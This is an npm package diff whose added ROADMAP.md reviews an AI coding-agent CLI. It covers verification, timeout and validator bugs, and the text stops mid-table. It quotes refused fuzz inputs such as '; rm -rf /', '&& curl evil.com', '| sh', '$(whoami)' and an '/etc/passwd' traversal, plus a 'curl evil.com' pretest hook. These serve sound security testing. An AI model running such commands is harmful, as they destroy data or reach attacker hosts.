acuvo-code 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +328 -0
- package/ENTERPRISE.md +927 -0
- package/LICENSE +120 -0
- package/README.md +1245 -0
- package/ROADMAP.md +556 -0
- package/bin/acuvo-mcp.mjs +208 -0
- package/bin/acuvo.mjs +3108 -0
- package/lib/acceptance-consent.mjs +168 -0
- package/lib/acceptance.mjs +859 -0
- package/lib/account.mjs +226 -0
- package/lib/acuvo-dir.mjs +72 -0
- package/lib/acuvo-models.mjs +141 -0
- package/lib/apply-patch.mjs +570 -0
- package/lib/ask-user.mjs +173 -0
- package/lib/audit.mjs +530 -0
- package/lib/auto-lease.mjs +174 -0
- package/lib/background.mjs +842 -0
- package/lib/best-of.mjs +334 -0
- package/lib/board.mjs +232 -0
- package/lib/breaker.mjs +93 -0
- package/lib/budget.mjs +1375 -0
- package/lib/builtin-skills.mjs +135 -0
- package/lib/cache-floor.mjs +204 -0
- package/lib/chain.mjs +303 -0
- package/lib/changed-paths.mjs +84 -0
- package/lib/chat.mjs +434 -0
- package/lib/checkpoint.mjs +637 -0
- package/lib/child-lifetime.mjs +71 -0
- package/lib/cli-args.mjs +1255 -0
- package/lib/code-review.mjs +1382 -0
- package/lib/colour.mjs +82 -0
- package/lib/command.mjs +2847 -0
- package/lib/compact.mjs +1151 -0
- package/lib/completion.mjs +515 -0
- package/lib/creative-engines.mjs +779 -0
- package/lib/db-inspect.mjs +1624 -0
- package/lib/delete.mjs +111 -0
- package/lib/design-loop.mjs +570 -0
- package/lib/diff-preview.mjs +1044 -0
- package/lib/doctor.mjs +2139 -0
- package/lib/dropped.mjs +216 -0
- package/lib/edit-diagnostics.mjs +277 -0
- package/lib/edit.mjs +460 -0
- package/lib/env-file.mjs +250 -0
- package/lib/escalate.mjs +702 -0
- package/lib/evaluate.mjs +284 -0
- package/lib/fetch-text.mjs +952 -0
- package/lib/fleet-budget.mjs +256 -0
- package/lib/gh.mjs +1536 -0
- package/lib/git.mjs +1341 -0
- package/lib/github.mjs +261 -0
- package/lib/h2.mjs +194 -0
- package/lib/handoff.mjs +417 -0
- package/lib/hooks.mjs +626 -0
- package/lib/http-probe.mjs +907 -0
- package/lib/image-director.mjs +322 -0
- package/lib/image-edit.mjs +522 -0
- package/lib/imagegen.mjs +998 -0
- package/lib/interrupt.mjs +234 -0
- package/lib/learned.mjs +353 -0
- package/lib/lease-watch.mjs +115 -0
- package/lib/lease.mjs +868 -0
- package/lib/localize.mjs +834 -0
- package/lib/log-tail.mjs +1052 -0
- package/lib/login.mjs +157 -0
- package/lib/lsp.mjs +1613 -0
- package/lib/mcp-consent.mjs +377 -0
- package/lib/mcp-defaults.mjs +780 -0
- package/lib/mcp-server.mjs +1343 -0
- package/lib/mcp.mjs +1263 -0
- package/lib/media.mjs +1283 -0
- package/lib/memory-workspace.mjs +179 -0
- package/lib/model-json.mjs +132 -0
- package/lib/model-tier.mjs +171 -0
- package/lib/model.mjs +1445 -0
- package/lib/parallel.mjs +144 -0
- package/lib/perchance.mjs +210 -0
- package/lib/plan-coherence.mjs +1461 -0
- package/lib/plan-ledger.mjs +981 -0
- package/lib/plan.mjs +461 -0
- package/lib/policy.mjs +783 -0
- package/lib/prefix-order.mjs +38 -0
- package/lib/project-memory.mjs +127 -0
- package/lib/prompt.mjs +109 -0
- package/lib/python.mjs +862 -0
- package/lib/rcfile.mjs +853 -0
- package/lib/read-window.mjs +743 -0
- package/lib/refute-tools.mjs +34 -0
- package/lib/refute.mjs +806 -0
- package/lib/repl-driver.mjs +264 -0
- package/lib/repl.mjs +324 -0
- package/lib/replay.mjs +1218 -0
- package/lib/repo-map.mjs +1101 -0
- package/lib/report.mjs +419 -0
- package/lib/search-rank.mjs +99 -0
- package/lib/search.mjs +659 -0
- package/lib/secret-paths.mjs +54 -0
- package/lib/session.mjs +1017 -0
- package/lib/skills.mjs +703 -0
- package/lib/slash.mjs +356 -0
- package/lib/spawn-argv.mjs +1151 -0
- package/lib/spend.mjs +250 -0
- package/lib/steer.mjs +280 -0
- package/lib/stream.mjs +253 -0
- package/lib/stuck.mjs +712 -0
- package/lib/subagent.mjs +749 -0
- package/lib/terminal-graphics.mjs +171 -0
- package/lib/tool-prefix.mjs +226 -0
- package/lib/tool-shortlist.mjs +162 -0
- package/lib/tools.mjs +2333 -0
- package/lib/tsserver.mjs +423 -0
- package/lib/turn.mjs +5672 -0
- package/lib/untrusted-block.mjs +271 -0
- package/lib/verify-claim.mjs +299 -0
- package/lib/vision.mjs +330 -0
- package/lib/voice-task.mjs +561 -0
- package/lib/warm-provider.mjs +255 -0
- package/lib/websearch.mjs +401 -0
- package/lib/workspace.mjs +928 -0
- package/lib/write-approval.mjs +235 -0
- package/lib/write-many.mjs +162 -0
- package/package.json +62 -0
- package/scripts/bundle.mjs +768 -0
- package/scripts/cache-floor.mjs +176 -0
- package/scripts/machine.mjs +226 -0
- package/scripts/test.mjs +139 -0
- package/skills/accessibility.md +87 -0
- package/skills/acuvo-design-system.md +123 -0
- package/skills/animation.md +84 -0
- package/skills/api-design.md +82 -0
- package/skills/auth-and-sessions.md +78 -0
- package/skills/build-with-a-framework.md +101 -0
- package/skills/colour-and-contrast.md +112 -0
- package/skills/creative-engines.md +81 -0
- package/skills/css-layout.md +85 -0
- package/skills/data-and-charts.md +77 -0
- package/skills/debugging.md +76 -0
- package/skills/designing-by-looking.md +84 -0
- package/skills/error-handling.md +78 -0
- package/skills/forms-and-validation.md +93 -0
- package/skills/nextjs-app-router.md +75 -0
- package/skills/page-composition.md +103 -0
- package/skills/performance.md +77 -0
- package/skills/plan-before-building.md +52 -0
- package/skills/planning-and-delegating.md +72 -0
- package/skills/refactoring.md +70 -0
- package/skills/security-basics.md +76 -0
- package/skills/state-management.md +73 -0
- package/skills/supabase-multitenant.md +72 -0
- package/skills/typescript-strict.md +90 -0
- package/skills/typography.md +135 -0
- package/skills/verify-your-own-work.md +62 -0
- package/skills/web-app-quality.md +62 -0
- package/skills/working-in-the-background.md +64 -0
package/ROADMAP.md
ADDED
|
@@ -0,0 +1,556 @@
|
|
|
1
|
+
# Acuvo Code — the roadmap, written from evidence
|
|
2
|
+
|
|
3
|
+
> Written 2026-08-10 against `acuvo-code@0.2.0`. Source for everything below: five
|
|
4
|
+
> agents driving the real CLI against real OpenRouter (~$0.02 total spend, 25+ runs),
|
|
5
|
+
> seven root causes each reproduced and traced to `file:line`, plus my own
|
|
6
|
+
> re-verification of every cited line before writing this.
|
|
7
|
+
>
|
|
8
|
+
> **What this document is not.** It does not repeat `ENTERPRISE.md` §3 (the seven
|
|
9
|
+
> security gaps) or `MVP-PLAN.md` §2 (the distribution blockers — no repo, no CI,
|
|
10
|
+
> no changelog). Both lists stand and both are still the right lists. This document
|
|
11
|
+
> covers the layer neither one audits: **whether the loop's own output is true**, and
|
|
12
|
+
> what the driving evidence says about where to spend the next two weeks.
|
|
13
|
+
>
|
|
14
|
+
> ⭐ **The finding, in one sentence.** The agent is better than its harness. In every
|
|
15
|
+
> observed failure the model did the right thing and our own code threw the answer
|
|
16
|
+
> away, mis-scored it, or crashed on it — which means the next two weeks are plumbing,
|
|
17
|
+
> not prompting, and that is very good news.
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## 0. Two corrections to the existing docs, measured today
|
|
22
|
+
|
|
23
|
+
Before anything else, because evidence discipline starts at home:
|
|
24
|
+
|
|
25
|
+
| claim | where | measured |
|
|
26
|
+
|---|---|---|
|
|
27
|
+
| "Standalone tests ✅ **34**" | `MVP-PLAN.md:67` | `npm test` → **`# tests 101 / # pass 101 / # fail 0`**, 800ms |
|
|
28
|
+
| "**`--json` for scripting** ❌" | `MVP-PLAN.md:97` | **Shipped.** `lib/cli-args.mjs:93`, help text at `:38-39`, and `ENTERPRISE.md:60` documents it as a headline feature |
|
|
29
|
+
|
|
30
|
+
`MVP-PLAN.md` §3 is stale against its own §7 sibling. Fix it in the same pass as
|
|
31
|
+
anything else; a plan that under-reports its own coverage gets ignored.
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
## 1. What the CLI demonstrably does well today
|
|
36
|
+
|
|
37
|
+
Five independent agents, none of whom could see each other's work. These are the
|
|
38
|
+
things that survived being checked by someone trying to break them.
|
|
39
|
+
|
|
40
|
+
### 1.1 ⭐ The write → run → read-the-failure → fix loop is genuinely real
|
|
41
|
+
|
|
42
|
+
Not a demo. Verified by re-running the artifacts *without the CLI involved*:
|
|
43
|
+
|
|
44
|
+
- **Multi-file app, built and independently driven.** Kanban board in 3 rounds,
|
|
45
|
+
19,024 tokens, **$0.002012**. The verifying agent re-ran the suite himself:
|
|
46
|
+
`# tests 13 / # pass 13 / # fail 0`. Then loaded it in real Chromium over HTTP and
|
|
47
|
+
drove a **genuine Playwright mouse drag** — `.card` → `.column[data-column="doing"]`
|
|
48
|
+
— which produced `[["todo",[],"0"],["doing",["RealDrag"],"1"],["done",["Alpha"],"1"]]`.
|
|
49
|
+
The generated state module validates the target column *before* splicing the card
|
|
50
|
+
out, so a bad move cannot half-destroy state. That is a design decision, not
|
|
51
|
+
autocomplete.
|
|
52
|
+
|
|
53
|
+
- **Real bug hunt in a messy 6-file codebase, one round of looking.** Given a planted
|
|
54
|
+
off-by-one (`end = start + pp - 1` fed to an exclusive-end `slice`), it named the
|
|
55
|
+
cause in its own words — *"`slice`'s end index is exclusive, so each page returned
|
|
56
|
+
one fewer item than requested"* — and changed **106 of 1,187 chars in exactly one
|
|
57
|
+
file**. md5 of every file before/after: one hash changed. It did not weaken the
|
|
58
|
+
assertion, delete the test, add a dependency, or create a stray file. 6 passed/1
|
|
59
|
+
failed → 7 passed, for **$0.001073**.
|
|
60
|
+
|
|
61
|
+
- **It corrects the test when the test is wrong.** In the horizon run it concluded
|
|
62
|
+
*"The todo isn't done yet, so the summary is `0/1 done`, not `1/1 done`. The test
|
|
63
|
+
expectation was incorrect, not the code"* — and edited 82 chars of the test rather
|
|
64
|
+
than corrupting working logic. Most agents get this backwards and quietly break the
|
|
65
|
+
implementation to make a bad assertion pass.
|
|
66
|
+
|
|
67
|
+
### 1.2 ⭐ It recovers from its own refusals instead of flailing
|
|
68
|
+
|
|
69
|
+
The best-engineered thing in the package, and it is a *writing* achievement:
|
|
70
|
+
|
|
71
|
+
- Blocked from `npm test` by the `&&` rule, the agent **read `package.json`,
|
|
72
|
+
decomposed the chained script itself**, and ran `node test/run.js` and
|
|
73
|
+
`node test/contract.js` as separate calls. That surfaced a second, unrequested,
|
|
74
|
+
pre-existing bug — and it named it honestly rather than papering over it: *"The
|
|
75
|
+
pagination test now passes. But there's a pre-existing contract failure."* Its fix
|
|
76
|
+
mirrored the existing route's `pick(...) + centsToDollars` mapping exactly.
|
|
77
|
+
- The refusal messages are why recovery happens: they quote the offending script
|
|
78
|
+
verbatim, name the exact forbidden character, and state what to do instead ("run one
|
|
79
|
+
plain command per call"). Same for `'vitest must be run as "vitest run …"'` and *"this
|
|
80
|
+
workspace is not a git repository, so there is nothing to inspect or commit"*.
|
|
81
|
+
|
|
82
|
+
⭐ **Actionable refusals are a real, transferable asset.** Keep this bar on every new
|
|
83
|
+
guard. A blank wall costs a paid round; a sentence costs nothing.
|
|
84
|
+
|
|
85
|
+
### 1.3 The staleness catch, which most commercial agents do not have
|
|
86
|
+
|
|
87
|
+
Observed in two unrelated runs, verbatim: *"files changed after the last run, so
|
|
88
|
+
`node --test src/board.test.mjs` is out of date. Re-running it (free — no model call)"*.
|
|
89
|
+
It knows the last edit is unverified and closes the gap at zero cost.
|
|
90
|
+
|
|
91
|
+
### 1.4 The security boundary held against everything thrown at it
|
|
92
|
+
|
|
93
|
+
33 in-process fuzz cases and ~10 argv abuse cases, all refused with a specific sentence:
|
|
94
|
+
`; rm -rf /`, `&& curl evil.com`, `| sh`, `$(whoami)`, `2>&1`, `> out.txt`, `node -e`,
|
|
95
|
+
`--require ./evil.js`, `NODE_OPTIONS=`, `npm install`, `npx create-react-app`,
|
|
96
|
+
`npm test --prefix ../../..`, `node ../../../../etc/passwd`.
|
|
97
|
+
|
|
98
|
+
Three that deserve naming:
|
|
99
|
+
|
|
100
|
+
- **The npm chain follows hooks, not just the named script.**
|
|
101
|
+
`{"scripts":{"pretest":"curl evil.com","test":"node t.js"}}` was caught on **`pretest`**
|
|
102
|
+
(`lib/command.mjs:392`).
|
|
103
|
+
- **Binary detection fires before the token bomb.** 200,000 bytes of 0–255 named
|
|
104
|
+
`blob.js` — sitting *exactly* at `MAX_READ_BYTES`, so the size guard would not have
|
|
105
|
+
fired — refused with *"blob.js looks binary — refusing to read it as text"*.
|
|
106
|
+
- **`--dry-run` is truthful at the filesystem level.** Told to delete `keep.js` and
|
|
107
|
+
create `replacement.js`: md5 of the directory listing byte-identical before and after.
|
|
108
|
+
*(Note the two documented exceptions in `ENTERPRISE.md` §3.1/§3.2 — dry-run is honest
|
|
109
|
+
about the local filesystem, not about MCP spawns or prompt uploads.)*
|
|
110
|
+
|
|
111
|
+
Plus: 20,076-character prompt, 500-file workspace, 50KB single-line file, 40-level
|
|
112
|
+
nesting, CJK/emoji/accented filenames, malformed `package.json`, a workspace root at
|
|
113
|
+
`.../My Project (v2)`. **In 11 adversarial runs: no hang, no crash, no unhandled stack.**
|
|
114
|
+
`--version`/`--help` work with no key; bad argv exits 64 with a sentence.
|
|
115
|
+
|
|
116
|
+
### 1.5 The two claims no competitor can make — one of which holds
|
|
117
|
+
|
|
118
|
+
- ✅ **It produces things that are not code.** The PDF is real: `%PDF-1.4`, `%%EOF`,
|
|
119
|
+
164,231 bytes, 56 indirect objects, **exactly 1 page** (it honoured "one-page"),
|
|
120
|
+
9 embedded font descriptors, Producer `Skia/PDF m131` — a genuine headless-Chrome
|
|
121
|
+
print. Content non-generic: 4 workstreams, per-row GREEN/GREEN/AMBER/RED badges,
|
|
122
|
+
progress bars, an AMBER overall summary, a RAG legend. 40 seconds, **$0.001356**.
|
|
123
|
+
- ✅ **It speaks.** 1,492,844-byte WAV, 24 kHz mono 16-bit, 31.1s, peak amplitude
|
|
124
|
+
14,697/32,767. Transcribed back: *"Kettle is a tiny job runner for local scripts. It
|
|
125
|
+
watches a folder, picks up job.json files, and runs each one at most once…"* — a
|
|
126
|
+
faithful summary.
|
|
127
|
+
- ❌ **"It can see" does not hold.** §2.2 below. This is the one that matters most.
|
|
128
|
+
|
|
129
|
+
### 1.6 Cost accounting is honest and precise
|
|
130
|
+
|
|
131
|
+
Per-run tokens, dollars and rounds printed every time; measured across all runs
|
|
132
|
+
**$0.001–$0.003 per task**. The diff summary — *"edited src/cli.js (778 of 4301 chars ·
|
|
133
|
+
18%)"* — is better reporting than most commercial agents ship. And it stops early on
|
|
134
|
+
purpose: *"stopping here rather than spending another round"*.
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## 2. The confirmed weaknesses, ranked
|
|
139
|
+
|
|
140
|
+
Ranked by **how many distinct observed failures each one causes**, not by how alarming
|
|
141
|
+
it sounds. All seven were reproduced; five of them without spending a cent, using
|
|
142
|
+
injected stub models.
|
|
143
|
+
|
|
144
|
+
### 2.1 ⚠️⚠️ #1 — The verdict is decided by one self-chosen command, so `✔ VERIFIED` is not evidence of anything
|
|
145
|
+
|
|
146
|
+
**Root cause: `lib/turn.mjs:1130` — `const last = runs[runs.length - 1] ?? null;`**
|
|
147
|
+
(confirmed by reading it today), feeding `verification` at `:1131-1138`, the banner at
|
|
148
|
+
`:1291` and `sessionFailed` at `:1350`. Predicate at **`lib/command.mjs:613`**:
|
|
149
|
+
`passed: run.exitCode === 0 && !run.timedOut` — stdout, stderr and duration are
|
|
150
|
+
returned by `executeRunCommand` and **none is consulted**.
|
|
151
|
+
|
|
152
|
+
⭐ **This single line produces four separate observed failures.** That is why it is #1:
|
|
153
|
+
|
|
154
|
+
| # | observed | why the line causes it |
|
|
155
|
+
|---|---|---|
|
|
156
|
+
| 1 | **Fail-then-pass reports green.** `node fail.js` exit 1 then `node pass.js` exit 0 → `{ran:true,passed:true,attempts:2}`, `✔ VERIFIED`, **exit 0**. Also across rounds. | `runs` is one flat session-wide array (declared `:862`, appended `:964`); nothing reduces over it, so a `passed:false` entry is never read again |
|
|
157
|
+
| 2 | **An inert program reports green.** A `todo.mjs` with a dead main guard: `node todo.mjs help` → exit 0, **zero bytes of output** → `✔ VERIFIED`. | exit 0 is the entire definition of passed |
|
|
158
|
+
| 3 | **A test suite that never touches the deliverable reports green.** `node --test src/board.test.mjs` exit 0 while `index.html` renders a blank page. | nothing links the verdict command to `writtenPaths`, computed 28 lines earlier at `:1102` and never consulted |
|
|
159
|
+
| 4 | **`attempts` is wrong.** Printed *"after 2 attempts"* for a command attempted once. | `attempts: runs.length` (`:1137`) is a session-wide count |
|
|
160
|
+
|
|
161
|
+
And it compounds with `ENTERPRISE.md` §3.5: a provider outage during the extension
|
|
162
|
+
round leaves `verification.passed === true` and prints `✔ VERIFIED` over a session that
|
|
163
|
+
died with work outstanding.
|
|
164
|
+
|
|
165
|
+
⚠️ **Why this is the most expensive defect in the package.** `ENTERPRISE.md:531` sells
|
|
166
|
+
*"the exit code is a verdict"* as one of four things no competitor offers, and
|
|
167
|
+
`ENTERPRISE.md:60` sells `acuvo --json | jq '.verification.passed'` as a build step. Both
|
|
168
|
+
are currently false. `acuvo … && git push` believes a lie today.
|
|
169
|
+
|
|
170
|
+
⚠️ **Two proposed fixes were tested and REFUTED — do not ship either.** "Zero bytes of
|
|
171
|
+
stdout is not a pass" misses the worst case entirely (a node:test harness that imports
|
|
172
|
+
`run()` against a fake io: exit 0, **16/16 pass, 1,787 bytes of stdout**, entrypoint
|
|
173
|
+
still inert) and false-fails `tsc --noEmit`, which prints nothing on success. Output
|
|
174
|
+
volume is not evidence.
|
|
175
|
+
|
|
176
|
+
**Fix size: hours.** Three parts, all using data already in scope at `:1130`:
|
|
177
|
+
reduce over `runs` keyed by command string keeping each distinct command's *latest*
|
|
178
|
+
result; add a fourth verdict state (`⚠ RAN, NOT VERIFIED`) for a green run that touches
|
|
179
|
+
nothing in `writtenPaths`; report per-command retry counts. Extend the stale-verdict
|
|
180
|
+
re-run at `:1078-1090` to re-run every still-failing command, not just the last one.
|
|
181
|
+
|
|
182
|
+
### 2.2 ⚠️⚠️ #2 — The differentiator is dark by default, and broken when lit
|
|
183
|
+
|
|
184
|
+
Two independent defects stacked on the one capability `MVP-PLAN.md:23-28` calls the
|
|
185
|
+
whole positioning.
|
|
186
|
+
|
|
187
|
+
**(a) It is dark.** Measured by me today, in a normal shell:
|
|
188
|
+
|
|
189
|
+
```
|
|
190
|
+
mediaToolNames({}) = []
|
|
191
|
+
mediaToolNames(process.env) = []
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
`bin/acuvo.mjs` loads **no `.env` file anywhere** — grepping `bin/` and `lib/` for
|
|
195
|
+
`dotenv|.env.local|loadEnv` returns one unrelated code comment. `mediaConfig()`
|
|
196
|
+
(`lib/media.mjs:76`) gates on `RENDER_AUDIT_URL`/`MODAL_RENDER_AUDIT_URL`, which live
|
|
197
|
+
only in `console/.env.local:72`. With the tool absent, the entire design prompt block
|
|
198
|
+
(`systemPrompt`, `lib/turn.mjs`) is gated off too. **The model is never told sight
|
|
199
|
+
exists.**
|
|
200
|
+
|
|
201
|
+
> ⚠️ **THE QUOTE THAT USED TO BE ON THIS LINE IS GONE FROM THE CODE, AND IT WAS FALSE.**
|
|
202
|
+
> This paragraph quoted the block by its old heading, *"DESIGN — YOU CAN SEE WHAT YOU
|
|
203
|
+
> BUILT, AND NO OTHER TERMINAL AGENT CAN"*, citing `lib/turn.mjs:312-320`. Both the
|
|
204
|
+
> heading and the line numbers are stale as of 2026-08-11: Playwright MCP falsifies the
|
|
205
|
+
> claim in one `npx`, so the block now reads *"YOU CAN LOOK AT WHAT YOU BUILT, AND
|
|
206
|
+
> LOOKING IS CHEAP"* and states the true, more useful fact — the render comes back as
|
|
207
|
+
> ~89 tokens of measured problems rather than a 3,072-token screenshot. The observation
|
|
208
|
+
> below (the tool is gated off, so the model is never told) is unaffected and still
|
|
209
|
+
> stands.
|
|
210
|
+
|
|
211
|
+
**(b) When lit, it pays for the answer and throws it away.** `lib/media.mjs:143`, read
|
|
212
|
+
today, is `const m = res.json ?? {}` — then `:150` reads `m.screenshotPngB64`, `:158`
|
|
213
|
+
`m.viewport`, `:159` `m.findings`. The live service returns
|
|
214
|
+
`{ ok: true, measurement: { … } }`. **Every read is one level too shallow.**
|
|
215
|
+
|
|
216
|
+
The probe of the live endpoint with the actual generated file: HTTP 200, 52,113 bytes,
|
|
217
|
+
and inside `measurement`:
|
|
218
|
+
|
|
219
|
+
```
|
|
220
|
+
consoleErrors : ["Failed to resolve module specifier \"./src/board.mjs\"…"]
|
|
221
|
+
paintedRatio : 0.0078 ← 0.8% of the viewport painted = blank page
|
|
222
|
+
screenshotPngB64: 51,472 chars
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
`seePage` returned `{ok:true, screenshot:null, viewport:null, findings:[], looked:true}`.
|
|
226
|
+
There is **no `findings` key in the contract at all** — the findings *are*
|
|
227
|
+
`consoleErrors`/`paintedRatio`/`lowContrastText`/`clippedText`/`overlaps`/`brokenImages`,
|
|
228
|
+
and nothing maps them.
|
|
229
|
+
|
|
230
|
+
⭐ **The comment at `lib/media.mjs:160-161` indicts the code above it.** It says the empty
|
|
231
|
+
array exists so *"I looked and it was fine"* is distinguishable from *"I could not look"*.
|
|
232
|
+
The shape mismatch creates a **third state the author did not anticipate** — looked,
|
|
233
|
+
paid, discarded everything — and it masquerades as the first. A silent empty findings
|
|
234
|
+
array is exactly the failure mode that comment was written to prevent.
|
|
235
|
+
|
|
236
|
+
Net observed effect: the model called `see_page` **unprompted**, Chromium ran, the bug
|
|
237
|
+
was named verbatim, the screenshot was bought — and the deliverable shipped blank with
|
|
238
|
+
`✔ VERIFIED`.
|
|
239
|
+
|
|
240
|
+
**Fix size: hours.** Unwrap the envelope; map the six real keys to findings; and make an
|
|
241
|
+
**unrecognised shape LOUD** — if none of the expected `measurement` keys are present,
|
|
242
|
+
return `{ok:false, error:'the render service returned an unrecognised shape'}` rather
|
|
243
|
+
than a clean-looking empty result. Add a contract test pinning `{ok, measurement:{…}}`
|
|
244
|
+
so the next endpoint change fails a test instead of a deliverable. Then load the URL
|
|
245
|
+
from something the CLI actually reads.
|
|
246
|
+
|
|
247
|
+
### 2.3 ⚠️ #3 — A mid-stream timeout crashes with a raw stack and loses the entire round
|
|
248
|
+
|
|
249
|
+
**Root cause: `lib/model.mjs:272` vs `:297`** — confirmed by reading both today.
|
|
250
|
+
`signal: AbortSignal.timeout(timeoutMs)` is set on the fetch; the try/catch that converts
|
|
251
|
+
an abort into `{ok:false, error}` **closes at `:276`**, wrapping only `await fetchImpl(…)`.
|
|
252
|
+
An abort signal governs the response *body* too, so once headers arrive the guard is gone.
|
|
253
|
+
The timer fires mid-stream, undici errors the ReadableStream, and
|
|
254
|
+
`await collectStream(res.body, {onText})` at `:297` rethrows **outside the try**.
|
|
255
|
+
`lib/chain.mjs` has no try/catch at all; `lib/turn.mjs:884` is unguarded. It reaches
|
|
256
|
+
`bin/acuvo.mjs:274`: *"acuvo crashed — this is a bug in acuvo-code"*, exit 1, **zero files
|
|
257
|
+
written**.
|
|
258
|
+
|
|
259
|
+
Proven twice, including a zero-cost probe with two fake `fetchImpl`s on one 300ms timeout:
|
|
260
|
+
abort **before** headers → returned `{ok:false}`; abort **after** headers → **threw**.
|
|
261
|
+
Same signal, same timeout, opposite outcomes. The boundary is exactly the end of the try.
|
|
262
|
+
|
|
263
|
+
**Second, independent defect on the same path — verified by me today:**
|
|
264
|
+
|
|
265
|
+
```
|
|
266
|
+
isRetryable('No response from OpenRouter within 180s — the call was aborted…') = false
|
|
267
|
+
```
|
|
268
|
+
|
|
269
|
+
`describeTransportError` (`lib/model.mjs:149`) emits that string; `isRetryable`
|
|
270
|
+
(`lib/chain.mjs:78`) matches `/timed out|could not reach|network|ECONNRESET|…/`, none of
|
|
271
|
+
which appear in it. **The four-model fallback chain never fires on a timeout by either
|
|
272
|
+
path.**
|
|
273
|
+
|
|
274
|
+
⚠️ Two corrections to the original report, both important: the *request* path is not
|
|
275
|
+
unguarded — the **stream** path is; and this is not tail-latency flakiness — the timeout
|
|
276
|
+
is a **total wall-clock budget** covering request plus entire stream, so any reply
|
|
277
|
+
exceeding 180s end-to-end fails **deterministically**. Long tasks fail more, by design,
|
|
278
|
+
which is precisely backwards.
|
|
279
|
+
|
|
280
|
+
**Fix size: hours.** Wrap the streaming branch (`:290-299`) in the same try/catch — that
|
|
281
|
+
alone converts the crash into a handled failure and lets existing partial-change
|
|
282
|
+
reporting run. Then replace the total-duration signal with an **idle** timer
|
|
283
|
+
`collectStream` resets per chunk (a stream may legitimately run past 180s; 180s of
|
|
284
|
+
*silence* must never happen). Then make timeouts retryable — better, return a structured
|
|
285
|
+
`{kind:'timeout'}` and have `isRetryable` switch on the kind instead of grepping prose.
|
|
286
|
+
The prose-coupling is exactly what let these two drift apart.
|
|
287
|
+
|
|
288
|
+
### 2.4 #4 — `&&` in a `package.json` script blocks the agent from the project's own contract
|
|
289
|
+
|
|
290
|
+
**Root cause: `lib/command.mjs:397`** (read today) — `validateNpmScriptChain` passes the
|
|
291
|
+
**entire** script body to `validateCommand(link.body, {script:true})` as one string.
|
|
292
|
+
`tokenizeCommand` applies `SAFE_COMMAND_CHARS = /^[A-Za-z0-9 ._\-/=:]+$/`
|
|
293
|
+
(`lib/command.mjs:96`, confirmed). `&` is not in the set, so
|
|
294
|
+
`node test/run.js && node test/contract.js` — a very common shape, as is
|
|
295
|
+
`tsc --noEmit && vitest run` — is rejected wholesale.
|
|
296
|
+
|
|
297
|
+
⭐ **The reported fix was half wrong, and the correction saves the day.** The CLI never
|
|
298
|
+
executes the body: `buildInvocation` spawns `node npm-cli.js test` with `shell:false`
|
|
299
|
+
and **npm supplies its own script shell**. Performing that exact spawn by hand against
|
|
300
|
+
the repro ran the chained body fine (`unit ok / contract ok / EXIT 0`). **The executor
|
|
301
|
+
needs no change. Only the validator is blocking.**
|
|
302
|
+
|
|
303
|
+
**Fix size: minutes.** In `validateNpmScriptChain` only (`:374-406`): split each
|
|
304
|
+
`link.body` on the two-character token `&&`, validate each trimmed segment, refuse only
|
|
305
|
+
if a segment fails and name that segment. Hand the unmodified body to npm as today.
|
|
306
|
+
Guardrails: do **not** relax `SAFE_COMMAND_CHARS` and do **not** touch the
|
|
307
|
+
model-written-command path — `test/smoke.test.mjs:41` asserts `npm test && curl evil.sh`
|
|
308
|
+
stays refused and it must. Split on `&&` only, so a lone `&` still dies in the
|
|
309
|
+
per-segment tokenizer; `;`, `|`, `||`, `>`, backticks and `$()` remain refused
|
|
310
|
+
automatically.
|
|
311
|
+
|
|
312
|
+
⚠️ `validateNpmScriptChain` is referenced nowhere outside `command.mjs`. **This path has
|
|
313
|
+
zero test coverage.** Add the test with the fix.
|
|
314
|
+
|
|
315
|
+
### 2.5 #5 — Nothing on disk records how to run the thing that was just built
|
|
316
|
+
|
|
317
|
+
A finished project contains only files literally named in the prompt. No `package.json`,
|
|
318
|
+
so `npm test` — which `--help` advertises — fails ENOENT. No README recording the command
|
|
319
|
+
that actually verified the build, or how to open the page.
|
|
320
|
+
|
|
321
|
+
**Root cause: `lib/turn.mjs:252-408` (`loopSystemPrompt`) has no scaffolding/handoff
|
|
322
|
+
policy at all.** Grepping all of `lib/` for `scaffold|skeleton|README|how to run|serve`
|
|
323
|
+
returns nothing. Writing `package.json` is blocked nowhere. Three mechanisms combine:
|
|
324
|
+
the prompt's only two references to `package.json` (`:343`, `command.mjs:577-579`) frame
|
|
325
|
+
it purely as a pre-existing **input**; two rules actively suppress extra files
|
|
326
|
+
(`:269-270` *"A ROUND IS EXPENSIVE"*, `:355-356` *"Otherwise stop"*); and the stop
|
|
327
|
+
condition itself (`:1003-1015`, which I read today) defines done as **"a run_command
|
|
328
|
+
exited 0"** — there is no notion of a *deliverable*.
|
|
329
|
+
|
|
330
|
+
⭐ **Confirmed not a budget problem:** with `--max-rounds 7` the run stopped at round 5
|
|
331
|
+
as `'verified'` with **two rounds unspent** and still wrote nothing.
|
|
332
|
+
|
|
333
|
+
**Fix size: hours.** Two layers, because this codebase records three separate times that
|
|
334
|
+
prompt rules are *"obeyed narrowly or not at all"*. Prompt: a DELIVERABLE/HANDOFF block.
|
|
335
|
+
Deterministic (the real fix): after a verified run, synthesise the skeleton from data the
|
|
336
|
+
CLI already holds — `verification.command` (`lib/report.mjs:124`) is the exact
|
|
337
|
+
invocation, the change list is the file inventory — written through the same
|
|
338
|
+
offered-never-silently-written gate as `STARTER_TEMPLATE`. Plus a one-line quality fix at
|
|
339
|
+
`command.mjs:578`: *"no package.json in this workspace — write one first if you want npm
|
|
340
|
+
scripts"*, so the loop can recover unaided.
|
|
341
|
+
|
|
342
|
+
### 2.6 Ranked summary
|
|
343
|
+
|
|
344
|
+
| # | weakness | root cause | observed failures | fix size |
|
|
345
|
+
|---|---|---|---|---|
|
|
346
|
+
| 1 | Verdict decided by one self-chosen command | `turn.mjs:1130` + `command.mjs:613` | **4** (+ `ENTERPRISE` §3.5) | hours |
|
|
347
|
+
| 2 | `see_page` dark by default, discards findings when lit | no env loader + `media.mjs:143` | **2**, incl. the flagship | hours |
|
|
348
|
+
| 3 | Mid-stream timeout crashes, never retries | `model.mjs:272` vs `:297`; `chain.mjs:79` | **1**, total work loss | hours |
|
|
349
|
+
